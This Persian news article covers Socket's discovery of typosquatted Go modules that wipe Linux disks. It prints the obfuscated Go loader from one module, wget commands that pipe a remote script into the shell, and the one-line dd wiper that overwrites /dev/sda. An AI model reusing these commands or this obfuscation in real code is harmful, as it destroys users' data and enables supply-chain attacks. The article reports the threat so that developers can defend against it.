تیم تحقیقاتی Socket در گزارش جدید خود از شناسایی ماژولهای مخربی خبر داده که بهطور خاص به سیستمهای کاربران حمله کرده و هارد دیسک آنها را بهطور کامل پاک میکنند. این حملات از طریق ماژولهای برنامهنویسی زبان Go انجام میشود که کدهایی را شامل میشوند که باعث تخریب کامل دادههای سیستم میشوند.
به گزارش تکناک، اگر با زبان Go آشنا نیستید، باید بگوییم که Go یک زبان برنامهنویسی کامپایلشده است که توسط گوگل طراحی شده است. این زبان بهدلیل پشتیبانی قوی از همزمانی (انجام چندین کار همزمان) و عملکرد خوبش محبوب است.
علاوه بر این، Go به فایلهای اجرایی واحد کامپایل میشود که استقرار برنامهها را بسیار ساده میکند. توسعهدهندگان اغلب Go را بهدلیل خوانایی آسان و قابلیت استفاده بالا دوست دارند که این عامل به محبوبیت آن افزوده است.
نئووین مینویسد که اکوسیستم Go بسیار وسیع و باز است و ماژولهای زیادی از مخازن عمومی مانند GitHub در دسترس هستند. دسترسی آسان به این ماژولها و قابلیت دریافت کد بهطور مستقیم از مخازن جذاب است، اما این ساختار خود چالشهای امنیتی جدی ایجاد میکند. هیچ مرجع مرکزی وجود ندارد که قبل از قرار گرفتن ماژولها برای استفاده در دسترس توسعهدهندگان، آنها را بررسی کند.
این به این معنی است که توسعهدهندگان اغلب با ماژولهای مشابه در GitHub مواجه میشوند که از نظر نام مشابه هستند اما توسط افراد مختلف ایجاد شدهاند و این امر تشخیص اینکه کدام ماژول معتبر است را دشوار میکند.
این محیط بدون مرجع مرکزی و استاندارد نامگذاری واضح، آسیبپذیری زیادی در برابر تکنیکهای typosquatting دارد. در این تکنیک، مهاجمان ماژولهای مخربی با نامهایی مشابه با ماژولهای معتبر ثبت میکنند تا در نگاه اول قابل اعتماد بهنظر برسند و احتمال اینکه توسعهدهندگان بهطور تصادفی کدهای مخرب را در پروژههای خود بگنجانند، افزایش یابد.
چنین تهدیدهایی در ماه گذشته نیز مشاهده شد، زمانی که تیم Socket سه ماژول مخرب Go را شناسایی کرد که از روشهای مشابهی برای پنهان کردن ماهیت خود استفاده میکردند.
این ماژولها بهشرح زیر شناسایی شدند:
- github[.]com/truthfulpharm/prototransform
- github[.]com/blankloggia/go-mcp
- github[.]com/steelpoor/tlsproxy
اگرچه این ماژولها معمولی بهنظر میرسیدند، اما کدی را شامل میشدند که بهطور خاص برای برقراری ارتباط و دانلود برنامههای مخرب جهت اجرا بر روی دستگاه قربانی طراحی شده بود. اسکنرهای امنیتی Socket این اقدامات مشکوک را شناسایی کردند که تحقیقات دقیقتر را در پی داشت و دامنه کامل حمله فاش شد.
مهاجمان از یک ترفند هوشمندانه برای پخش قسمتهایی از دستورات در داخل آرایهای از رشتهها استفاده کردند و سپس آنها را بهطور پویا بازسازی کردند. این روش، که بهنام obfuscation مبتنی بر آرایههای رشتهای شناخته میشود، روشی است برای سختتر کردن شناسایی کد مخرب از طریق جستجوهای ساده با کلمات کلیدی.

در اینجا نمونهای از کد obfuscated در یکی از ماژولها، truthfulpharm/prototransform، آورده شده است:
func eGtROk() error {
DmM := []string{"4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "/", "i", "/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "/", "|", ".", " ", "1", "h", " "}
pBRPhsxN := runtime.GOOS == "linux"
bcbGOM := "/bin/sh"
vpqIU := "-c"
PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43] + DmM[17] + DmM[66] + DmM[24] + DmM[40] + DmM[39] + DmM[45] + DmM[12] + DmM[4] + DmM[36] + DmM[49] + DmM[13] + DmM[15] + DmM[46] + DmM[20] + DmM[63] + DmM[0] + DmM[26] + DmM[60] + DmM[52] + DmM[65] + DmM[22] + DmM[56] + DmM[48] + DmM[54] + DmM[58] + DmM[31] + DmM[53] + DmM[3] + DmM[35] + DmM[51] + DmM[57] + DmM[7] + DmM[59] + DmM[21] + DmM[14] + DmM[25] + DmM[55] + DmM[30] + DmM[33] + DmM[23] + DmM[27] + DmM[42] + DmM[41] + DmM[19] + DmM[10] + DmM[8] + DmM[6] + DmM[67] + DmM[62] + DmM[9] + DmM[1] + DmM[37] + DmM[34] + DmM[38] + DmM[61] + DmM[18] + DmM[28] + DmM[64] + DmM[44]
if pBRPhsxN {
exec.Command(bcbGOM, vpqIU, PWcf).Start()
}
return nil
}
var GEeEQNj = eGtROk()
این اسکریپت ابتدا بررسی میکند که آیا کد روی یک سیستم لینوکس در حال اجرا است یا خیر. اگر چنین باشد، دستوری را با استفاده از قطعات موجود در آن آرایه رشتهای میسازد. این دستور سپس به شل سیستم داده میشود تا اجرا شود. از آنجا که این کد سیستمعامل را بررسی میکند، این حمله بهطور خاص به سیستمهای توسعهدهندگان یا سرورهای لینوکس هدفگذاری کرده است.
زمانی که آن رشتههای درهم ریخته دوباره کنار هم قرار گرفتند، دستور تشکیلشده یک دستور ساده برای دانلود و اجرای اسکریپت بهطور مستقیم بود:
# prototransform module payload
wget -O - [.]website/storage/de373d0df/a31546bf | /bin/bash &
# go-mcp module payload
wget -O - [.]icu/storage/de373d0df/a31546bf | /bin/bash &
# tlsproxy module payload
wget -O - [.]41/storage/de373d0df/ccd7b46d | /bin/sh &
این دستورات به سیستم میگویند که یک فایل از یک آدرس وب از راه دور با استفاده از wget بارگیری کرده و سپس بلافاصله محتوای آن فایل را به شل /bin/bash یا /bin/sh وارد کند تا آن را اجرا کند. این اتفاق بهطور فوری رخ میدهد و فایل بهطور استاندارد ذخیره نمیشود که این امر تجزیه و تحلیل یا مداخله پیش از انجام آسیب را دشوار میسازد.
آنچه که این حمله را بهویژه ویرانگر کرد، اسکریپتی بود که این دستورات دانلود و اجرا میکردند. این اسکریپت اغلب با نام done.sh شناخته میشد و فقط یک خط داشت که سرنوشت سیستم را تعیین میکرد:
#!/bin/bash
dd if=/dev/zero of=/dev/sda bs=1M conv=fsync
sync
این دستور از ابزار dd در لینوکس استفاده میکند. این دستور به dd میگوید که دادهها را از /dev/zero (یک منبع خاص سیستم که همیشه بایتهای صفر را فراهم میکند) کپی کرده و آنها را مستقیماً بر روی /dev/sda بنویسد. در بیشتر سیستمهای لینوکس، /dev/sda نمایانگر هارد دیسک اصلی است که سیستمعامل در آن قرار دارد، همراه با هر دادهای که کاربر ذخیره کرده است – فایلها، برنامهها، همه چیز.
با نوشتن صفرهای بیپایان روی /dev/sda، این دستور تمام اطلاعات را از بین میبرد و بهطور غیرقابل بازگشتی دادهها را پاک میکند. نتیجه نهایی ویرانی کامل است. ساختار فایل سیستم نابود میشود، سیستمعامل حذف میشود و تمام دادهها برای همیشه از بین میروند. این یعنی تمام کارها متوقف میشود و علاوه بر مشکلات فنی، هزینههای بالای پاکسازی و آسیب به شهرت شرکتها به همراه خواهد داشت.
برای حفاظت از خود در برابر این حملات، باید با دقت هر کدی که به پروژه خود اضافه میکنید، بررسی کنید. فقط بهدلیل اینکه یک ماژول نام خوبی دارد یا در GitHub است، به آن اعتماد نکنید. باید از ابزارهای خودکار برای اسکن کد این کتابخانهها استفاده کنید تا آسیبپذیریهای شناختهشده و الگوهای مشکوک شناسایی شوند.